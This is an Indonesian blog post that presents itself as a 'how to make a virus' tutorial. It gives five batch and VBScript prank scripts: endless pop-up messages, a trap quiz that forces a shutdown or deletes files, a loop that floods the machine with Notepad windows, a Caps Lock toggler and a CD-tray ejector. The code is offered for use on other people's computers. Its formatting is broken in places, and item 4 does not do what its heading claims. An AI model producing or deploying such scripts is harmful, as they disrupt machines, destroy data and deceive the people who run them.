Disini kami mencoba mengupas tentang membuat virus nih sobat, coba aja ya..
Langsung tun the point aja deh..
1. Message yg muncul terus meneruscara nya buka notepad lalu masukan script di bawah ini :
@ECHO off
:<br />
Begin<br />
msg * Lagi ngapain ?<br />
msg * Hayo buka apa ?<br />
msg * Nanti dimarahin ama mak loe<br />
msg * Makannya jangan sembrono !<br />
msg * minta bantuan gih sono !<br />
msg * Udah sini bawa ke CrackerIndonesia aja !!!!<br />
msg * tit............................
GOTO BEGIN</div>
bisa dirubah sesuai keinginan anda! simpan dengan berekstensi .bat contoh bagus.bat
2. pertanyaan menjebakscript nya
@echo off
title quiz hari ini
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
simpan dengan .bat contoh contoh = quizIT.bat
3. Membuka notepad terus-menerusscript nya
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
sama simpan dengan .bat
4. komputer mati sendiri dan ngirim message
script nya
Set wshShell
=wscript.CreateObject
("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
simpan dengan .vbs
5. buka tutup cd room terus menerus
script nya
Set oWMP = CreateObject
("WMPlayer.OCX.7")
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
simpan dengan .vbs
Selamat mencoba dan semoga bermanfaat tapi jangan di gunakan untuk kejahatan dan balas dendam, ok!!!
Tags
Virus